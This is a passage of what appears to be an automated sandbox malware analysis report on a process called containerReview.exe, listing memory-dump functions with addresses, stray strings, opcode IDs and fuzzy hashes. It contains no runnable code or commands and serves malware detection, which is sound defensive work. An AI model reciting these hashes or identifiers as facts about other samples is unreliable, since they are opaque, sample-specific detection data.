Function 00007FF848E80B3F Relevance: 3.8, Strings: 3, Instructions: 54COMMON

Download Yara Rule

Strings

"s9, xrefs: 00007FF848E80B46
c9, xrefs: 00007FF848E80B56
!k9, xrefs: 00007FF848E80B4E

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e80000_containerReview.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9
API String ID: 0-3426396564
Opcode ID: e6bf74b1d6689e4a83ae90d40d4e0ea91c878e62ba1a472b45461e1a83e8e15a
Instruction ID: c75d19dd1440bff90666b6e73c3834fbe9e2ef524e49a33454ae36c10d1c5faa
Opcode Fuzzy Hash: e6bf74b1d6689e4a83ae90d40d4e0ea91c878e62ba1a472b45461e1a83e8e15a
Instruction Fuzzy Hash: 4F01A22671E95E8FC7426A3DB8904E8BB50EA87136B9903FBD444C7192E611585EC790

Function 00007FF848E93A59 Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

M, xrefs: 00007FF848E93A76

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e90000_containerReview.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 151fc46629cb6542186349de0fba22226ff57bf4e74de8e2c81e2386b3787558
Instruction ID: 2105793b150e0c4d808f7574db9bcf8193492773671094f9bf331fdc25ffa66e
Opcode Fuzzy Hash: 151fc46629cb6542186349de0fba22226ff57bf4e74de8e2c81e2386b3787558
Instruction Fuzzy Hash: 21F06D71A4E7C48FCB1AAA3888684547FA0EF6721174A51EEC046CF1A3EA2DCC89C701

Function 00007FF848E808D0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e80000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17a34d577befd5d85a457ca7a55218e4ff2803f5cd316d15c97c5d6d265baf38
Instruction ID: 22e7794b20e3d81df5c0e74f85884fe7d171ae37ee460782878ecaece97e62f1
Opcode Fuzzy Hash: 17a34d577befd5d85a457ca7a55218e4ff2803f5cd316d15c97c5d6d265baf38
Instruction Fuzzy Hash: B8417B62A4D9591FE708B77CB0992FD7781FF85361F4841BBD04DC71D3CE28A8818699

Function 00007FF848E80998 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e80000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 950f55ab8c61e3dda7cf446b8bcd2f9459ecd0d2653c09b22f9b3566d3abd8b3
Instruction ID: dbdccedfba0b33daf6ee57a26696e2e0240d6ad5d3bbe357a9b39490f2ee953a
Opcode Fuzzy Hash: 950f55ab8c61e3dda7cf446b8bcd2f9459ecd0d2653c09b22f9b3566d3abd8b3
Instruction Fuzzy Hash: EA21C421B1CD5A1FE788B63C545E67E77C2EF99361F5400B9E40EC32D3DE28AC828285

Function 00007FF848E811A1 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e80000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 561fe6d524354a31c3726ae922675e333ed1fe1d579b5268e2d273244c6056ec
Instruction ID: 170b8cbf0abdac2e3e369b99dd3cb4ff4a6b0902d045ca72a2ebb27c9000f520
Opcode Fuzzy Hash: 561fe6d524354a31c3726ae922675e333ed1fe1d579b5268e2d273244c6056ec
Instruction Fuzzy Hash: DB317F3090D64A8FDB45FB68C8599BD7BF0FF5A350F5509BAC009D72A2DB39A881CB50

Function 00007FF848E94409 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e90000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7c9197de4665bcf9b42bb146464450cfd2eb0eaeca26f28448613bd213850ca
Instruction ID: 9bb21eb921a379e390c54d732980988f6a3da37dbd4b424c94a2548992549774
Opcode Fuzzy Hash: b7c9197de4665bcf9b42bb146464450cfd2eb0eaeca26f28448613bd213850ca
Instruction Fuzzy Hash: 43212131D0CA8A4FE756BB7888641B93BA1FF95358F4802B7C44DC71D2EEBCA9468345

Function 00007FF848E80C25 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e80000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0de9b5a35b4e8db8c03cfa213954b46d53228f17197049be2275b7a8af0d5923
Instruction ID: 84e0a708d9f9dd1bd4954127da77b6a121f5b3aa5fa684cb98f8365ea416b280
Opcode Fuzzy Hash: 0de9b5a35b4e8db8c03cfa213954b46d53228f17197049be2275b7a8af0d5923
Instruction Fuzzy Hash: F221F131A0D6899FE712FB68C8452EC7FA0FF42360F5546FAC0449B1D2DB382589CBA5

Function 00007FF848E85534 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e80000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f242d40f8e07fcd480d7ca60b94bcceebd86f22d633e7c159618615c25f0f8e3
Instruction ID: 33b81ad697817bfef23e6977af00ad48e5e7f625a7b692c6b79fa48820916fce
Opcode Fuzzy Hash: f242d40f8e07fcd480d7ca60b94bcceebd86f22d633e7c159618615c25f0f8e3
Instruction Fuzzy Hash: 94113020D1CA0D8EEB64BB5898552BC72D2FF54390F9002B9E40ED72E2EF386D458659

Function 00007FF848E80C40 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e80000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51b51ee47967c090e1d98d926f42711c5c3103de04a15cc76290c4e1994a8e5e
Instruction ID: 342968fa3378e427a3381ea3a66d139dd69b9f1e31098190cac507ceb0a2b43d
Opcode Fuzzy Hash: 51b51ee47967c090e1d98d926f42711c5c3103de04a15cc76290c4e1994a8e5e
Instruction Fuzzy Hash: E1016D7190D7889FE702FB68D85429D7FB0EF42250F1545E6C044DB292D63856498BA5

Function 00007FF848E80C48 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e80000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61f267361a44370b1f9379d5f85cf2ace1cd23782622da2682046c63fdbeaf27
Instruction ID: 7dfd9f72c8f353c9211899a2f9d1a7621afab27e9593865db9cbea9f9d848e14
Opcode Fuzzy Hash: 61f267361a44370b1f9379d5f85cf2ace1cd23782622da2682046c63fdbeaf27
Instruction Fuzzy Hash: 19015A7190D7C89FE706EB78C84469DBFB0EF42314F1945EAD044DB2A2D6385A48CB95

Function 00007FF848E8566A Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e80000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 739d002ec5213039a5f7b98b8673b3be312f800da77b00de52093fa9fbd50bdc
Instruction ID: b54cbc01da38b9a6d00b3b048e1525f264837db89ecec9b2eca75e64f697ab8b
Opcode Fuzzy Hash: 739d002ec5213039a5f7b98b8673b3be312f800da77b00de52093fa9fbd50bdc
Instruction Fuzzy Hash: 48F03C3080C91E8EEB64FB54DC446BC73A2FF54391F9001B9D44ED7192EF386D858A08

Function 00007FF848E81A46 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e80000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 050d8432365884cb1a4db415e04935779a392ead5e7ca286c458fd269eae1f8b
Instruction ID: 3e78d386bf343ab5533b2e23f402a612562429f9c213e2e52dd480813c9a2b36
Opcode Fuzzy Hash: 050d8432365884cb1a4db415e04935779a392ead5e7ca286c458fd269eae1f8b
Instruction Fuzzy Hash: 1301CD31908918CFCB58EB18D894E9A73F1FBA8310F0546A9D44ED72A5DB35AE81CF85

Function 00007FF848E80C50 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e80000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d814e798026f89ed8e6ab49ae84347f6349635a680f92c229919b17817bfd055
Instruction ID: 4b5f3a15fd256eb06a61bb326d718d987c5c690433d7f9b4a786018abbd4226b
Opcode Fuzzy Hash: d814e798026f89ed8e6ab49ae84347f6349635a680f92c229919b17817bfd055
Instruction Fuzzy Hash: 1F018B7090D7C89FE702FB74884429DBFB0FF02304F1841EAC044DB292DA385A48C755

Function 00007FF848E94027 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e90000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33e1281bed08d907b67bdd238c3c570bf61e84b53f4626b183c0ef938e085905
Instruction ID: cefc35b47d47c39c7a4d06576a2a07feaeefd4134cf327776d8c4fb456b9e7c6
Opcode Fuzzy Hash: 33e1281bed08d907b67bdd238c3c570bf61e84b53f4626b183c0ef938e085905
Instruction Fuzzy Hash: ABF0AF70E0940B8FEB48EA48D4646FE7BB2FF41394F00063ED006D3294DFB429018A84

Function 00007FF848E946F9 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e90000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 083a21ada1682168b47cde5e652d200687d2cd7b1381fc97928a4b1d5b1f5c53
Instruction ID: ca11dfdc4ac035ebfef5e5f07573908d80b571bf04fb8596757515477366e88e
Opcode Fuzzy Hash: 083a21ada1682168b47cde5e652d200687d2cd7b1381fc97928a4b1d5b1f5c53
Instruction Fuzzy Hash: E2F05E30A1C91B4FE765BADC94409BEB290FF44B9CF104270D42AC3196EF78E8014688

Function 00007FF848E80B77 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e80000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b54800de5f103c3e69fadb951c9d9d91a227016c099684a58e15afa3c8bb27c5
Instruction ID: 377ef3f9098797b374edc95d2e5b3918bb52708ed6b1066c9df3ab10ccc9081f
Opcode Fuzzy Hash: b54800de5f103c3e69fadb951c9d9d91a227016c099684a58e15afa3c8bb27c5
Instruction Fuzzy Hash: 29F0E53024EA8DCFD742AB3DD8958D4BF60EF07215B9A12FAD489C7562D325585ECB01

Function 00007FF848E8563C Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e80000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 895523474eca11f6e4b9fbed8216664c3a21ebcb3f711ea33d7a945ed48ddad8
Instruction ID: d77675c7d547c0a17dbe9820e1f73c9714de1f05c61ba72af25090dc93b9c494
Opcode Fuzzy Hash: 895523474eca11f6e4b9fbed8216664c3a21ebcb3f711ea33d7a945ed48ddad8
Instruction Fuzzy Hash: B4F0303090C9098EEA64F704DC446BC7392FF54390F9011B9D84ED71A2EF386D858658

Function 00007FF848E95318 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e90000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d1c7dfccc88d550a0c504ef7a6d8429f03d32075b32a422873b135f7d92b8df
Instruction ID: 67ad311bbae10528dce9f47e595fd9c11aa355e4fa4cc1cfe2b6645ebd16570c
Opcode Fuzzy Hash: 1d1c7dfccc88d550a0c504ef7a6d8429f03d32075b32a422873b135f7d92b8df
Instruction Fuzzy Hash: 88D05E30B609094B8B0CF62D8458530B3D1F7AA206B945278940BC2281ED25ECCA8B84

Function 00007FF848E924F0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e90000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e050b8d54ee86617a2a68f3a03fac4af5aa2a852a7c447093bc185dd0ecb348e
Instruction ID: d536b0b7594c68bf11e196fe4619790ef5851cd828fa184b4159703cb5ead883
Opcode Fuzzy Hash: e050b8d54ee86617a2a68f3a03fac4af5aa2a852a7c447093bc185dd0ecb348e
Instruction Fuzzy Hash: 47D0A730B60A0D4B8B0CB63D8458430F3D6F7AA6167D4527CD41BC3281ED25ECC6CB84

Function 00007FF848E93A70 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e90000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7b5e071f3789eae717b10c0ffdfc75cd0be3c54ec7eb2e14fd012d674173004
Instruction ID: 624740e71dae718bcd56c73aa6ef227b29225f906b2275ca74e504422623924a
Opcode Fuzzy Hash: b7b5e071f3789eae717b10c0ffdfc75cd0be3c54ec7eb2e14fd012d674173004
Instruction Fuzzy Hash: E0D0A930B60A0C4B8B0CB63D8858430B3D2E7AA20A384627C940BC3281ED25ECCACB80

Function 00007FF848E833D1 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e80000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 840ea9db971bae5ca5a55bab3c63b7ccc2f8042cc0857c3fcf9c753694177ce7
Instruction ID: 046c02f351ebf6e178f43edd27036e0ef35a4df4f292487b2858fb33ef37a117
Opcode Fuzzy Hash: 840ea9db971bae5ca5a55bab3c63b7ccc2f8042cc0857c3fcf9c753694177ce7
Instruction Fuzzy Hash: FDE01A20F0D5164FF7A0BA10C8503BD22A1BF85381FA540B9D85DA76D6CF387C819B49

Function 00007FF848E83759 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e80000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c65b34f3da250d97909dd8db00a8f56844a8e0302d20651c1dff839b0102c68
Instruction ID: 9e67842167211249aa2750043df0da6b447c19746b8c1d91bf2d4b2621c6f3cd
Opcode Fuzzy Hash: 0c65b34f3da250d97909dd8db00a8f56844a8e0302d20651c1dff839b0102c68
Instruction Fuzzy Hash: FCE01711E6C9964EF29DB66C44323BD91C2BF98791F884179D84ED32C3EE2D2C4003AA

Function 00007FF848E806AD Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e80000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 323143e45dad86b09f48beb01337b17f3d2661350671268fcf99a56f238fe930
Instruction ID: 975a429da94f507ce98a6bebbc95ca6e60c52af6d5df34fa5a0daabfc2291f1e
Opcode Fuzzy Hash: 323143e45dad86b09f48beb01337b17f3d2661350671268fcf99a56f238fe930
Instruction Fuzzy Hash: 1AC08C00D0F91B08E440716E14020ACA2007FC42A0FE10032C02C42091DE7D20C5126E

Function 00007FF848E94718 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e90000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 387e63c72d1cec51fb15f3eb6a8ae46cde76971a7f43caf43f88bfad3b8c216e
Instruction ID: 7a861ee34c598d600c05458adac048a52c3099e0dc9dabacd867652a4b5362f1
Opcode Fuzzy Hash: 387e63c72d1cec51fb15f3eb6a8ae46cde76971a7f43caf43f88bfad3b8c216e
Instruction Fuzzy Hash: 1ED0C930A1C64E8FDB44EE0DC880EAA33E1FF48708F104960E92983392DA35FC129B94

Function 00007FF848E80B18 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e80000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 679052432ff82eb440096a9787cbb4eb0fdac5f2628a477f2cc6cb2b7cc5e99a
Instruction ID: f7fd61c8a668a15e4fe7e5eeb653d5778f38aa54c35724653029127ec2c5aa3a
Opcode Fuzzy Hash: 679052432ff82eb440096a9787cbb4eb0fdac5f2628a477f2cc6cb2b7cc5e99a
Instruction Fuzzy Hash: 63C04C305258098FC948FB6DC98595476A0FB0D215BD50190E40DC7171E66ADC95C745

Function 00007FF848E812E0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e80000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d50836501c865efaa9cc7746ad9c52898e749de2a98b2e8a9a856be5527891
Instruction ID: b45a823de4a7ad12bb9cba005a1a62d8887fa36159e3a53ced2d4a75ffe5d57a
Opcode Fuzzy Hash: b6d50836501c865efaa9cc7746ad9c52898e749de2a98b2e8a9a856be5527891
Instruction Fuzzy Hash: 3AC04C345658098FC948FB29C88591877A1FF19215BD50090E409C7175E669ECD5D745

Function 00007FF848E857D9 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e80000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80322ac1325a1463ceb9144eda8732d4d7cd8aede239a8c97ec781aae84c4cab
Instruction ID: 9dacd7f668f7ed693adaad08fdea8a3a11775924b8ba6c3a1dbd7cc6940d13d8
Opcode Fuzzy Hash: 80322ac1325a1463ceb9144eda8732d4d7cd8aede239a8c97ec781aae84c4cab
Instruction Fuzzy Hash: 67C08C02E0DC165AE25A6204402127E0402DF80B44F948031E00EC32CACE0D1F0102CA

Function 00007FF848E99E2C Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e90000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 620c7368c46946f6817b0a49db0d192115278756ad70b01ce43164f8a5ab9dde
Instruction ID: c1d6338047fb338b2b3ce4dbc27f20020f7ee17094d9585768b7859706ed9af5
Opcode Fuzzy Hash: 620c7368c46946f6817b0a49db0d192115278756ad70b01ce43164f8a5ab9dde
Instruction Fuzzy Hash: 7CD0C930C095188FEBA0EB54C840B9976B1BF48341F5001F6900DE3285CB356DC0CF81

Function 00007FF848E806D0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e80000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bca8a15959f7e0967de320f3aa0157698c38b87efa68259d0e12dbbb75d0c1cf
Instruction ID: 2932be79b3526a7ddfbf029d32fcd2008550c81a4f0c762fb69f1e712dbfd9a0
Opcode Fuzzy Hash: bca8a15959f7e0967de320f3aa0157698c38b87efa68259d0e12dbbb75d0c1cf
Instruction Fuzzy Hash: AEB01200C5E40F04E40431BA084206C70407FC4140FC10070D41C51085D9AD1094035A

Analysis Process: containerReview.exePID: 7368, Parent PID: 6772COMMON

Executed Functions

Function 00007FF848E707AE Relevance: 2.5, Strings: 1, Instructions: 1226COMMON

Download Yara Rule

Strings

N_H, xrefs: 00007FF848E71BC1

Memory Dump Source

Source File: 00000027.00000002.2394242705.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848e70000_containerReview.jbxd

Similarity

API ID:
String ID: N_H
API String ID: 0-3193329873
Opcode ID: 3ffb34132280a7be48713131f4a289850fd853b3407e5617665c809de3548b34
Instruction ID: b298f9428fc9d08dea4a70900634f29aa42100c7ae08581ec85fa3d212dc3326
Opcode Fuzzy Hash: 3ffb34132280a7be48713131f4a289850fd853b3407e5617665c809de3548b34
Instruction Fuzzy Hash: B7829131E1C95A9FEA98FA2884556B873E2FF98780F5445B9D00DC32C7DF39AC428745

Function 00007FF848E70CFB Relevance: 2.2, Strings: 1, Instructions: 999COMMON

Download Yara Rule

Strings

N_H, xrefs: 00007FF848E71BC1

Memory Dump Source

Source File: 00000027.00000002.2394242705.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848e70000_containerReview.jbxd

Similarity

API ID:
String ID: N_H
API String ID: 0-3193329873
Opcode ID: 730fea9d2b083488a5f27a3fbc9f065368e4d5bdda054dabaec08f94dc07a49d
Instruction ID: c824de5d42be0e30370375e26c274b4104949b35c224dd4a0604423fed3b1a9b
Opcode Fuzzy Hash: 730fea9d2b083488a5f27a3fbc9f065368e4d5bdda054dabaec08f94dc07a49d
Instruction Fuzzy Hash: 25629131E1C95A9FEB98FA2884517B873A2FF98780F5445B9D00DD32C6DF39AC428B45

Function 00007FF848E60D7C Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2394242705.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98132a30e244f68d86c4b3900f04140b4861a5b91ee6037db6acd3d1e2bab0f3
Instruction ID: 25b4687f663bb0649a38246a37a3bdc7252fb5a5b051ee5a2d375d9c5d65edb7
Opcode Fuzzy Hash: 98132a30e244f68d86c4b3900f04140b4861a5b91ee6037db6acd3d1e2bab0f3
Instruction Fuzzy Hash: FCA1A075D1CA998FE789EB68C8293A97FE1FB96350F4401BAC049E73D2DB7818058711

Function 00007FF848E60B3F Relevance: 3.8, Strings: 3, Instructions: 54COMMON

Download Yara Rule

Strings

"s9, xrefs: 00007FF848E60B46
!k9, xrefs: 00007FF848E60B4E
c9, xrefs: 00007FF848E60B56

Memory Dump Source

Source File: 00000027.00000002.2394242705.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9
API String ID: 0-3426396564
Opcode ID: d2e26fa0ed65657ae63860e0153e178c88320430f77beff0b58864d7961f4ac1
Instruction ID: ea2171c56bb580886a4ffbd80badf8b0638c16910a09b71096214cd4efb4d34e
Opcode Fuzzy Hash: d2e26fa0ed65657ae63860e0153e178c88320430f77beff0b58864d7961f4ac1
Instruction Fuzzy Hash: FA01F22A31D95A8FC7026A3EB4905D87B50EAC6136BC905BBD544CB192E2102C9EC7E0

Function 00007FF848E608D0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2394242705.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ef129662e63cf8afdf68e68f70d305ac08f166c31c6b2892cc64ec3a2337c6d
Instruction ID: a2c8d4a1b511e95981a3bac28a713e6b916601443891ffe215bba6d392399fc8
Opcode Fuzzy Hash: 7ef129662e63cf8afdf68e68f70d305ac08f166c31c6b2892cc64ec3a2337c6d
Instruction Fuzzy Hash: 70414A62A4D9652FE708B77CA0552F97781FF853A1F0C45BBD04DCB1D3DE2868418798

Function 00007FF848E60998 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2394242705.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2996f936df23793d72ec99126f008f779d4878b8ab9e23a17f5223e7e9ea57bc
Instruction ID: b5b03d840107bb222149a96c79b3974a1baac377bbc725d5396021cf4e7944c1
Opcode Fuzzy Hash: 2996f936df23793d72ec99126f008f779d4878b8ab9e23a17f5223e7e9ea57bc
Instruction Fuzzy Hash: 3E21F821B1D9591FE798B63C945A67977C2FB993A1F5801B9E40EC32D3DE24BC414284

Function 00007FF848E611A1 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2394242705.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
